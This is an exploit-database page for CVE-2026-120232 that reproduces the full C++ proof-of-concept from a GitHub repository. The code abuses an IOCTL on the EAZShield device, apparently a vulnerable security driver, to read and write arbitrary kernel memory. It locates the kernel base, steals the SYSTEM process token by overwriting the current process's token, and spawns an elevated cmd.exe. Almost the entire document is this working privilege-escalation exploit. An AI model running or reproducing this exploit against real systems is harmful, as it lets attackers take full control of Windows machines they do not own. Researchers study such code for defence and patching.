Exploit databaseDownload repository ZIP
GH-5314613dc4802ea952552c9bf7e34ddd
element2023h/cve-2026-120232
Sources for CVE-2026-120232
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files10
element2023h/cve-2026-120232Revision 4dcb3850eb96
- bin/
- .gitattributes
- .gitignore
- LICENSE.txt
- POC.cpp
- README.md
- poc.png
- shieldPOC.slnx
- shieldPOC.vcxproj
- shieldPOC.vcxproj.filters
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
POC.cpp
C++ · 7,144 bytes#include <windows.h>
#include <iostream>
#include <iomanip>
#include <string>
#define IOCTL_MY_DRIVER 0x96102014
// you must be run it in windows 11 26200
#define EPROCESS_PID_OFFSET 0x1d0 // UniqueProcessId
#define EPROCESS_ACTIVE_LINKS_OFFSET 0x1d8 // ActiveProcessLinks
#define EPROCESS_TOKEN_OFFSET 0x248 // Token (EX_FAST_REF)
ULONG_PTR ReadKernelVirtualMemory(HANDLE hDevice, ULONG_PTR TargetAddress)
{
unsigned char rawBuffer[0x200] = { 0 };
*(UINT32*)(rawBuffer + 0x00) = 0x58;
*(UINT32*)(rawBuffer + 0x04) = 0x444D4377; // 'wCMD'
*(UINT32*)(rawBuffer + 0x08) = 0xF0016;
*(UINT32*)(rawBuffer + 0x40) = 1; // Read Flag = 1
*(UINT32*)(rawBuffer + 0x44) = 8; // Read Length = 8
*(ULONG_PTR*)(rawBuffer + 0x48) = TargetAddress;
DWORD bytesReturned = 0;
BOOL ok = DeviceIoControl(hDevice,
IOCTL_MY_DRIVER,
rawBuffer,
0x58,
rawBuffer,
sizeof(rawBuffer),
&bytesReturned,
NULL);
if (ok)
{
ULONG_PTR result = 0;
memcpy(&result, rawBuffer + 0x50, sizeof(result));
return result;
}
return 0;
}
BOOL WriteKernelVirtualMemory(HANDLE hDevice, ULONG_PTR TargetAddress, ULONG_PTR ValueToWrite)
{
unsigned char writeBuffer[0x200] = { 0 };
*(UINT32*)(writeBuffer + 0x00) = 0x58;
*(UINT32*)(writeBuffer + 0x04) = 0x444D4377;
*(UINT32*)(writeBuffer + 0x08) = 0xF0016;
*(UINT32*)(writeBuffer + 0x40) = 0; // Write Flag = 0
*(UINT32*)(writeBuffer + 0x44) = 8; // Write Length = 8
*(ULONG_PTR*)(writeBuffer + 0x48) = TargetAddress;
*(ULONG_PTR*)(writeBuffer + 0x50) = ValueToWrite;
DWORD bytesReturned = 0;
BOOL ok = DeviceIoControl(hDevice, IOCTL_MY_DRIVER, writeBuffer, 0x58, writeBuffer, sizeof(writeBuffer), &bytesReturned, NULL);
if (!ok)
{
std::cerr << "DeviceIoControl(Write) failed for address 0x" << std::hex << TargetAddress
<< " GetLastError=" << GetLastError() << " bytesReturned=" << std::dec << bytesReturned << std::endl;
}
return ok;
}
ULONG_PTR GetNtoskrnlBaseViaDriver(HANDLE hDevice)
{
std::cout << "[*] Scanning kernel memory for genuine ntoskrnl.exe base...\n";
ULONG_PTR startSearch = 0xFFFFF80000000000ULL;
ULONG_PTR endSearch = 0xFFFFF81000000000ULL;
ULONG_PTR step = 0x200000;
for (ULONG_PTR addr = startSearch; addr < endSearch; addr += step)
{
ULONG_PTR val = ReadKernelVirtualMemory(hDevice, addr);
if ((val & 0xFFFF) == 0x5A4D)
{
ULONG_PTR e_lfanew_val = ReadKernelVirtualMemory(hDevice, addr + 0x3C);
DWORD e_lfanew = (DWORD)(e_lfanew_val & 0xFFFFFFFF);
if (e_lfanew > 0 && e_lfanew < 0x1000)
{
ULONG_PTR peSig = ReadKernelVirtualMemory(hDevice, addr + e_lfanew);
if ((peSig & 0xFFFFFFFF) == 0x00004550)
{
ULONG_PTR exportRVA_val = ReadKernelVirtualMemory(hDevice, addr + e_lfanew + 0x88);
DWORD exportRVA = (DWORD)(exportRVA_val & 0xFFFFFFFF);
if (exportRVA > 0)
{
ULONG_PTR nameRVA_val = ReadKernelVirtualMemory(hDevice, addr + exportRVA + 0x0C);
DWORD nameRVA = (DWORD)(nameRVA_val & 0xFFFFFFFF);
if (nameRVA > 0)
{
ULONG_PTR nameData = ReadKernelVirtualMemory(hDevice, addr + nameRVA);
if ((nameData & 0xFFFFFFFF) == 0x736F746E)
{
nameData = ReadKernelVirtualMemory(hDevice, addr + nameRVA + 4);
if ((nameData & 0xFFFFFFFF) == 0x6C6E726B)
{
std::cout << "[+] Verified ntoskrnl.exe Base at: 0x" << std::hex << addr << std::dec << std::endl;
return addr;
}
}
}
}
}
}
}
}
std::cout << "[-] Failed to scan ntoskrnl.exe base.\n";
return 0;
}
int main()
{
std::cout << "[*] Test Escalating privileges...\n";
system("whoami");
HANDLE hDevice = CreateFileW(L"\\\\.\\EAZShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
std::cout << "[-] Failed to open device: " << GetLastError() << std::endl;
return -1;
}
// Get kernel base address of ntoskrnl.exe
ULONG_PTR ntosBase = GetNtoskrnlBaseViaDriver(hDevice);
if (!ntosBase)
{
std::cout << "[-] Driver failed to locate ntoskrnl base.\n";
CloseHandle(hDevice);
return -1;
}
std::cout << "[+] Found ntoskrnl.exe Base at: 0x" << std::hex << ntosBase << std::dec << std::endl;
// get PsInitialSystemProcess address from ntoskrnl.exe
auto hmodule = LoadLibraryExA("C:\\Windows\\System32\\ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hmodule)
{
std::cout << "[-] Failed to load ntoskrnl.exe.\n";
CloseHandle(hDevice);
return -1;
}
auto PsInitialSystemProcessAddr = GetProcAddress(hmodule, "PsInitialSystemProcess");
if (!PsInitialSystemProcessAddr)
{
std::cout << "[-] Failed to get PsInitialSystemProcess address.\n";
FreeLibrary(hmodule);
CloseHandle(hDevice);
return -1;
}
// Get the offset of PsInitialSystemProcess from the base of ntoskrnl.exe
auto nOffset = (ULONG_PTR)PsInitialSystemProcessAddr - (ULONG_PTR)hmodule;
std::cout << "[*] PsInitialSystemProcess Offset: 0x" << std::hex << nOffset << std::dec << std::endl;
ULONG_PTR PsInitialSystemProcess = ntosBase + nOffset;
ULONG_PTR SystemEprocess = ReadKernelVirtualMemory(hDevice, PsInitialSystemProcess);
if ((SystemEprocess & 0xFFFF000000000000ULL) != 0xFFFF000000000000ULL)
{
std::cout << "[-] Invalid System EPROCESS address.\n";
CloseHandle(hDevice);
return -1;
}
ULONG_PTR SystemToken = ReadKernelVirtualMemory(hDevice, SystemEprocess + EPROCESS_TOKEN_OFFSET);
ULONG_PTR CleanToken = SystemToken & ~0xFULL;
std::cout << "[+] System Token (0x248): 0x" << std::hex << CleanToken << std::dec << std::endl;
if ((CleanToken & 0xFFFF000000000000ULL) != 0xFFFF000000000000ULL)
{
std::cout << "[-] Invalid System Token pointer.\n";
CloseHandle(hDevice);
return -1;
}
DWORD currentPid = GetCurrentProcessId();
ULONG_PTR CurrentEprocess = 0;
ULONG_PTR CurrentLink = SystemEprocess + EPROCESS_ACTIVE_LINKS_OFFSET;
ULONG_PTR StartLink = CurrentLink;
std::cout << "[*] Walking ActiveProcessLinks for Target PID: " << currentPid << "...\n";
while (true)
{
ULONG_PTR NextLink = ReadKernelVirtualMemory(hDevice, CurrentLink);
if (NextLink == 0 || NextLink == StartLink)
break;
ULONG_PTR Eproc = NextLink - EPROCESS_ACTIVE_LINKS_OFFSET;
ULONG_PTR Pid = ReadKernelVirtualMemory(hDevice, Eproc + EPROCESS_PID_OFFSET);
if (Pid == currentPid)
{
CurrentEprocess = Eproc;
std::cout << "[+] Target EPROCESS found at: 0x" << std::hex << CurrentEprocess << std::dec << std::endl;
break;
}
CurrentLink = NextLink;
}
if (CurrentEprocess != 0 && CleanToken != 0)
{
ULONG_PTR TargetTokenAddr = CurrentEprocess + EPROCESS_TOKEN_OFFSET;
std::cout << "[*] Replacing Token at: 0x" << std::hex << TargetTokenAddr << std::dec << std::endl;
if (WriteKernelVirtualMemory(hDevice, TargetTokenAddr, CleanToken))
{
std::cout << "[+] Token replacement successful! Escalating privileges...\n\n";
system("whoami");
system("cmd.exe");
}
else
{
std::cout << "[-] Token overwrite failed.\n";
}
}
else
{
std::cout << "[-] Target process EPROCESS not found.\n";
}
CloseHandle(hDevice);
return 0;
}